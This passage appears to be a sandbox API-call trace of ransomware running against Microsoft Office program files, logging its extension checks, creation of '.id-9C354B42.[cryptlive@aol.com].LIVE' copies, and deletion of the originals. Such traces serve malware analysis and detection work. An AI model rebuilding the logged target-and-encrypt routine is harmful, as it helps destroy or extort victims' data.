lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0154.381] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=594288) returned 1 [0154.381] CloseHandle (hObject=0x350) returned 1 [0154.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\datagath.dll")) returned 0x20 [0154.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\datagath.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\datagath.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55 [0154.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55 [0154.381] lstrlenW (lpString=".doc") returned 4 [0154.381] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0154.381] lstrlenW (lpString=".docx") returned 5 [0154.381] lstrcmpiW (lpString1=".docx", lpString2="H.DLL") returned -1 [0154.381] lstrlenW (lpString=".pdf") returned 4 [0154.381] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0154.381] lstrlenW (lpString=".xls") returned 4 [0154.382] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0154.382] lstrlenW (lpString=".xlsx") returned 5 [0154.382] lstrcmpiW (lpString1=".xlsx", lpString2="H.DLL") returned -1 [0154.382] lstrlenW (lpString=".ppt") returned 4 [0154.382] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0154.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55 [0154.382] lstrlenW (lpString=".zip") returned 4 [0154.382] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0154.382] lstrlenW (lpString=".rar") returned 4 [0154.382] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0154.382] lstrlenW (lpString=".bz2") returned 4 [0154.382] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0154.382] lstrlenW (lpString=".7z") returned 3 [0154.382] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0154.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55 [0154.382] lstrlenW (lpString=".dbf") returned 4 [0154.382] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0154.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55 [0154.382] lstrlenW (lpString=".1cd") returned 4 [0154.382] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0154.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55 [0154.382] lstrlenW (lpString=".jpg") returned 4 [0154.382] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0154.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55 [0154.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55 [0154.382] lstrlenW (lpString=".doc") returned 4 [0154.382] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0154.382] lstrlenW (lpString=".docx") returned 5 [0154.382] lstrcmpiW (lpString1=".docx", lpString2="H.DLL") returned -1 [0154.382] lstrlenW (lpString=".pdf") returned 4 [0154.382] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0154.382] lstrlenW (lpString=".xls") returned 4 [0154.382] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0154.382] lstrlenW (lpString=".xlsx") returned 5 [0154.382] lstrcmpiW (lpString1=".xlsx", lpString2="H.DLL") returned -1 [0154.382] lstrlenW (lpString=".ppt") returned 4 [0154.382] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0154.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55 [0154.383] lstrlenW (lpString=".zip") returned 4 [0154.383] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0154.383] lstrlenW (lpString=".rar") returned 4 [0154.383] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0154.383] lstrlenW (lpString=".bz2") returned 4 [0154.383] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0154.383] lstrlenW (lpString=".7z") returned 3 [0154.383] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0154.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55 [0154.383] lstrlenW (lpString=".dbf") returned 4 [0154.383] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0154.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55 [0154.383] lstrlenW (lpString=".1cd") returned 4 [0154.383] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0154.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55 [0154.383] lstrlenW (lpString=".jpg") returned 4 [0154.383] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0154.383] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0154.383] lstrlenW (lpString="DBENGR.DLL") returned 10 [0154.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbengr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0154.413] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1197432) returned 1 [0154.413] CloseHandle (hObject=0x1e0) returned 1 [0154.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbengr.dll")) returned 0x20 [0154.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\dbengr.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbengr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL") returned 53 [0154.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL") returned 53 [0154.917] lstrlenW (lpString=".doc") returned 4 [0154.917] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0154.917] lstrlenW (lpString=".docx") returned 5 [0154.917] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0154.917] lstrlenW (lpString=".pdf") returned 4 [0154.917] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0154.917] lstrlenW (lpString=".xls") returned 4 [0154.917] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0154.918] lstrlenW (lpString=".xlsx") returned 5 [0154.918] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0154.918] lstrlenW (lpString=".ppt") returned 4 [0154.918] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0154.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL") returned 53 [0154.918] lstrlenW (lpString=".zip") returned 4 [0154.918] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0154.918] lstrlenW (lpString=".rar") returned 4 [0154.918] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0154.918] lstrlenW (lpString=".bz2") returned 4 [0154.918] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0154.918] lstrlenW (lpString=".7z") returned 3 [0154.918] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0154.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL") returned 53 [0154.918] lstrlenW (lpString=".dbf") returned 4 [0154.918] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0154.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL") returned 53 [0154.918] lstrlenW (lpString=".1cd") returned 4 [0154.918] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0154.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL") returned 53 [0154.918] lstrlenW (lpString=".jpg") returned 4 [0154.918] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0154.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL") returned 53 [0154.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL") returned 53 [0154.918] lstrlenW (lpString=".doc") returned 4 [0154.919] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0154.919] lstrlenW (lpString=".docx") returned 5 [0154.919] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0154.919] lstrlenW (lpString=".pdf") returned 4 [0154.919] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0154.919] lstrlenW (lpString=".xls") returned 4 [0154.919] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0154.919] lstrlenW (lpString=".xlsx") returned 5 [0154.919] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0154.919] lstrlenW (lpString=".ppt") returned 4 [0154.919] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0154.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL") returned 53 [0154.919] lstrlenW (lpString=".zip") returned 4 [0154.919] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0154.919] lstrlenW (lpString=".rar") returned 4 [0154.919] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0154.919] lstrlenW (lpString=".bz2") returned 4 [0154.919] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0154.919] lstrlenW (lpString=".7z") returned 3 [0154.919] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0154.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL") returned 53 [0154.919] lstrlenW (lpString=".dbf") returned 4 [0154.919] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0154.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL") returned 53 [0154.919] lstrlenW (lpString=".1cd") returned 4 [0154.919] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0154.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL") returned 53 [0154.919] lstrlenW (lpString=".jpg") returned 4 [0154.919] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0154.919] lstrcmpiW (lpString1=".EXE", lpString2=".LIVE") returned -1 [0154.919] lstrlenW (lpString="EXCEL.EXE") returned 9 [0154.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0154.920] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=28232544) returned 1 [0154.920] CloseHandle (hObject=0x1b0) returned 1 [0154.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe")) returned 0x20 [0154.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.921] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0154.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE") returned 52 [0154.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE") returned 52 [0154.921] lstrlenW (lpString=".doc") returned 4 [0154.921] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0154.921] lstrlenW (lpString=".docx") returned 5 [0154.921] lstrcmpiW (lpString1=".docx", lpString2="L.EXE") returned -1 [0154.921] lstrlenW (lpString=".pdf") returned 4 [0154.921] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0154.921] lstrlenW (lpString=".xls") returned 4 [0154.921] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0154.921] lstrlenW (lpString=".xlsx") returned 5 [0154.921] lstrcmpiW (lpString1=".xlsx", lpString2="L.EXE") returned -1 [0154.921] lstrlenW (lpString=".ppt") returned 4 [0154.921] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0154.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE") returned 52 [0154.921] lstrlenW (lpString=".zip") returned 4 [0154.921] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0154.921] lstrlenW (lpString=".rar") returned 4 [0154.921] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0154.921] lstrlenW (lpString=".bz2") returned 4 [0154.921] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0154.921] lstrlenW (lpString=".7z") returned 3 [0154.921] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0154.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE") returned 52 [0154.921] lstrlenW (lpString=".dbf") returned 4 [0154.921] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0154.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE") returned 52 [0154.922] lstrlenW (lpString=".1cd") returned 4 [0154.922] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0154.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE") returned 52 [0154.922] lstrlenW (lpString=".jpg") returned 4 [0154.922] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0154.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE") returned 52 [0154.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE") returned 52 [0154.922] lstrlenW (lpString=".doc") returned 4 [0154.922] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0154.922] lstrlenW (lpString=".docx") returned 5 [0154.922] lstrcmpiW (lpString1=".docx", lpString2="L.EXE") returned -1 [0154.922] lstrlenW (lpString=".pdf") returned 4 [0154.922] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0154.922] lstrlenW (lpString=".xls") returned 4 [0154.922] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0154.922] lstrlenW (lpString=".xlsx") returned 5 [0154.922] lstrcmpiW (lpString1=".xlsx", lpString2="L.EXE") returned -1 [0154.922] lstrlenW (lpString=".ppt") returned 4 [0154.922] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0154.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE") returned 52 [0154.922] lstrlenW (lpString=".zip") returned 4 [0154.922] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0154.922] lstrlenW (lpString=".rar") returned 4 [0154.922] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0154.922] lstrlenW (lpString=".bz2") returned 4 [0154.922] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0154.922] lstrlenW (lpString=".7z") returned 3 [0154.922] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0154.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE") returned 52 [0154.922] lstrlenW (lpString=".dbf") returned 4 [0154.922] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0154.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE") returned 52 [0154.922] lstrlenW (lpString=".1cd") returned 4 [0154.923] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0154.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE") returned 52 [0154.923] lstrlenW (lpString=".jpg") returned 4 [0154.923] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0154.923] lstrcmpiW (lpString1=".manifest", lpString2=".LIVE") returned 1 [0154.923] lstrlenW (lpString="excel.exe.manifest") returned 18 [0154.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0154.924] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1196) returned 1 [0154.924] CloseHandle (hObject=0x1b0) returned 1 [0154.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe.manifest")) returned 0x20 [0154.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe.manifest.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0154.924] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.924] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe.manifest.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0154.925] GetLastError () returned 0x0 [0154.925] ReadFile (in: hFile=0x1b0, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x4ac, lpOverlapped=0x0) returned 1 [0154.927] WriteFile (in: hFile=0x1b4, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x4b0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x4b0, lpOverlapped=0x0) returned 1 [0154.928] ReadFile (in: hFile=0x1b0, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0154.928] WriteFile (in: hFile=0x1b4, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xf8, lpOverlapped=0x0) returned 1 [0154.928] SetEndOfFile (hFile=0x1b4) returned 1 [0154.928] CloseHandle (hObject=0x1b4) returned 1 [0154.928] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.928] SetEndOfFile (hFile=0x1b0) returned 1 [0154.930] CloseHandle (hObject=0x1b0) returned 1 [0154.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0154.930] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe.manifest")) returned 1 [0154.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61 [0154.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61 [0154.932] lstrlenW (lpString=".doc") returned 4 [0154.932] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0154.932] lstrlenW (lpString=".docx") returned 5 [0154.932] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0154.932] lstrlenW (lpString=".pdf") returned 4 [0154.932] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0154.932] lstrlenW (lpString=".xls") returned 4 [0154.932] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0154.933] lstrlenW (lpString=".xlsx") returned 5 [0154.933] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0154.933] lstrlenW (lpString=".ppt") returned 4 [0154.933] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0154.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61 [0154.933] lstrlenW (lpString=".zip") returned 4 [0154.933] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0154.933] lstrlenW (lpString=".rar") returned 4 [0154.933] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0154.933] lstrlenW (lpString=".bz2") returned 4 [0154.933] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0154.933] lstrlenW (lpString=".7z") returned 3 [0154.933] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0154.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61 [0154.933] lstrlenW (lpString=".dbf") returned 4 [0154.933] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0154.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61 [0154.933] lstrlenW (lpString=".1cd") returned 4 [0154.933] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0154.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61 [0154.933] lstrlenW (lpString=".jpg") returned 4 [0154.933] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0154.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61 [0154.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61 [0154.933] lstrlenW (lpString=".doc") returned 4 [0154.933] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0154.933] lstrlenW (lpString=".docx") returned 5 [0154.933] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0154.933] lstrlenW (lpString=".pdf") returned 4 [0154.933] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0154.933] lstrlenW (lpString=".xls") returned 4 [0154.933] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0154.933] lstrlenW (lpString=".xlsx") returned 5 [0154.933] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0154.934] lstrlenW (lpString=".ppt") returned 4 [0154.934] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0154.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61 [0154.934] lstrlenW (lpString=".zip") returned 4 [0154.934] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0154.934] lstrlenW (lpString=".rar") returned 4 [0154.934] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0154.934] lstrlenW (lpString=".bz2") returned 4 [0154.934] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0154.934] lstrlenW (lpString=".7z") returned 3 [0154.934] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0154.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61 [0154.934] lstrlenW (lpString=".dbf") returned 4 [0154.934] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0154.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61 [0154.934] lstrlenW (lpString=".1cd") returned 4 [0154.934] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0154.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61 [0154.934] lstrlenW (lpString=".jpg") returned 4 [0154.934] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0154.934] lstrcmpiW (lpString1=".exe", lpString2=".LIVE") returned -1 [0154.934] lstrlenW (lpString="excelcnv.exe") returned 12 [0154.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnv.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0154.936] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=24994656) returned 1 [0154.936] CloseHandle (hObject=0x1b0) returned 1 [0154.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnv.exe")) returned 0x20 [0154.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnv.exe.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.936] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnv.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnv.exe.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0154.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55 [0154.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55 [0154.936] lstrlenW (lpString=".doc") returned 4 [0154.936] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0154.936] lstrlenW (lpString=".docx") returned 5 [0154.936] lstrcmpiW (lpString1=".docx", lpString2="v.exe") returned -1 